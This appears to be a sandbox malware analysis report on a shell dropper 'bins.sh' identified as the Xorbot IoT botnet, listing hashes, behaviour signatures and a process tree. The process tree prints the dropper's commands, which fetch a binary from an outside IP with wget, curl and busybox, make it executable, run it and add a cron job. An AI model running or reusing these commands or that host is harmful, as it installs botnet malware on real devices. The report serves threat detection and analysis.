Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/12/2024, 04:07

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    39580f676696da3a5b7eeeb7ad405702

  • SHA1

    c331afcec4a9f84aa9d067e1710f0a8696edadd2

  • SHA256

    b612719be4eeaff4ec62d76f3d0bf440a16fcbd9c27e2a324b76d03cd6be7443

  • SHA512

    d6e4b9a1f45c79b301584f6d064d94d8f8efbbcca86117bc23999132d37716292c8fea905de86cc7665b07c6d394652b96525133498a241a4aca1d9e5b465cab

  • SSDEEP

    96:3aeEFdcDLXxQQP3CoIoIoGoBoF4PL1EeA50xOaeEFd8eKDLXxQQWIbCoIoIoGoBI:5x3vFFjC2PL1EeKBFFjCkLC

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (800) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1495
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1496
        • /usr/bin/wget
          wget http://216.126.231.240/bins/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
          2⤵
          • Writes file to tmp directory
          PID:1497
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
          2⤵
          • Writes file to tmp directory
          PID:1501
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
          2⤵
          • Writes file to tmp directory
          PID:1502
        • /bin/chmod
          chmod 777 U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
          2⤵
          • File and Directory Permissions Modification
          PID:1504
        • /tmp/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
          ./U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1505
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1507
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1508
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1509
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1510
              • /bin/rm
                rm U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
                2⤵
                  PID:1512
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Y0OdZUvXlit86loYELzuMtBFV2F0VcQXv8
                  2⤵
                    PID:1515

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/U27QmWxWCfI9soYsOLynCxu00rfwfBAZP7
                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                  Download Submit

                • /var/spool/cron/crontabs/tmp.ZhVkvB
                  Filesize

                  210B

                  MD5

                  2b354d5d9b89944dd1a8e4fc434cd9f4

                  SHA1

                  d7dbfd0787ab46a8321af6c903127d1cc1314574

                  SHA256

                  e3d26e1ded507990bf4bad30b1bda6687dccef08e5f5b4d1498958b002c4c08d

                  SHA512

                  80dcf8e7eb2fb8df0bb5c76764c160540993d0718fdd371fbde19a02e2d85f1974366034aeaec7738b5c4bfc4901f6bd802d1ff14ded24c718ed8d2ea49b19fc

                  Download Submit